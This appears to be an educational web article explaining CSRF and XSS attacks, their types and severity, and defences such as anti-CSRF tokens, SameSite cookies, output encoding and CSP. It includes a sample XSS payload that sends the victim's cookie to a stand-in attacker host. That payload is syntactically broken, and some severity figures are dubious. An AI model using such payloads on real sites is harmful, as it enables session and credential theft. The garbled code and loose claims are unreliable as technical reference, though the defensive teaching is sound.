Open In App

How to Reduce Risk of Exposure to CSRF, XSRF, or XSS Attacks?

Last Updated : 30 Mar, 2022
Improve
Improve
Like Article
Like
Save
Share
Report

Cross-Site Request Forgery (CSRF) is a Web application security vulnerability where an attacker tricks end-users into performing unwanted actions in which the user is logged in. CSRF has others name like XSRF, sea surf, session riding, cross-site reference forgery, and hostile linking. With the help of social engineering, an attacker can trick the victim of a web application into executing malicious actions of the attacker’s choosing. 

If the victim is a normal user, then a successful csrf attack can perform state-changing requests like transferring money, changing email, changing the mobile number, etc. by users self. If the victim is the administrator of that web application, then the whole web application may compromise.

CSRF, XSRF, XSS attack

 

Cross-site scripting is also known as XSS. it is a very popular, dangerous, and favorable vulnerability of most of the Bug Hunters. XSS is a web security vulnerability that allows an attacker to fully compromise the vulnerable web application. if the victim is high privileged within a vulnerable site then the attacker can get full control of that site. 

The main purpose of XSS vulnerabilities is to steal the credentials of the victim. An XSS vulnerability is mainly a javascript technique. This vulnerability happens because of Developer didn’t pay attention to the user input filter.

Types of XSS:

  • Reflected XSS: Whenever an attacker executes the malicious script then immediately get back a response from the web application. It is a Non-Persistence. The Reflected XSS has a severity of P3 with a CVSS score of 5.8 which is Medium.
  • Stored XSS: Stored XSS successfully occurs when the malicious script is stored in the website’s database. each time script started it’s work whenever the webpage is loaded. So, It’s a persistent XSS. which is riskier rather than reflected XSS. The Stored XSS has a severity of P2 with a CVSS score of 7-8.9 which is High.
  • DOM XSS: This vulnerability exists in client-side code rather than server-side code. In DOM XSS, the malicious user input goes inside the source and comes out of the sink. The DOM XSS has a severity of P1 with a CVSS score of 10 which is Critical.

 A simple XSS payload looks like this:

<script>alert(document.cookies())</script>
<script>document.location.href=”
attackers.website/cookie=”>+document.cookie</script>

Prevention of CSRF and XSS:

 Anti-CSRF Tokens: 

  • Use a token that is associated with a particular user and can be found as a hidden value in every state-changing form which is present on the web application. This token is called a CSRF Token.
  • CSRF token should be:
    • Unpredictable with high entropy.
    • Tied to the user’s session.
    • Strictly validated in every case before the relevant action is executed.

Same Site cookies:

  • CSRF occurs when the victim clicks on attacker.com and the request goes to bank.com including victim session_id. That is cross-site communication when the request comes from a third-party site such as xyz.com and the request goes to abc.com.
  • so, what happens if we are not providing the session_id then they don’t have any chance to authorize and csrf prevents. That thing provides do same site cookie features.
  • The same site cookie is a cookie that will only be sent if the request is coming from or originating from the same site. if the request comes from a third-party site, it will not attach the cookie.
  • There are three ways to set the same site attribute None, Lax and Strict.
  • None by default, Lax for top-level navigation bar or get request and Strict is disabled the cookies sent to third party sites.
Set-Cookie: SessionId=NJCVnjnfCUrAfjoKkojDOOknKOkncKfmKDm; 
SameSite=Strict; 
Set-Cookie: SessionId=NJCVnjnfCUrAfjoKkojDOOknKOkncKfmKDm; 
SameSite=Lax;

XSS Prevention Techniques:

  • Filter input on arrival
  • Encode data on output
  • Use appropriate response headers
  • content Security policy
  • Implementing WAFs

Reducing the Risk of Exposure:

  • Never open mail with an attachment when you don’t recognize the sender.
  • Never open an attachment when It does not seems trustworthy or you did not request that.
  • Always sign out with that website who have to contain sensitive data associated with transactions of money.
  • Always up to date with your browser. Never use an older version of the browser because it may be associated with a vulnerability that patches on the new version.
  • Do not allow your browser to save your credentials and personal information to auto-fill form.
  • Clear your browser data and cookies regularly.
  • Use browser extensions such as no script (for both firefox and chrome) which blocks execution javascript for that site not in the trusted list..

Like Article
Suggest improvement
Share your thoughts in the comments

Similar Reads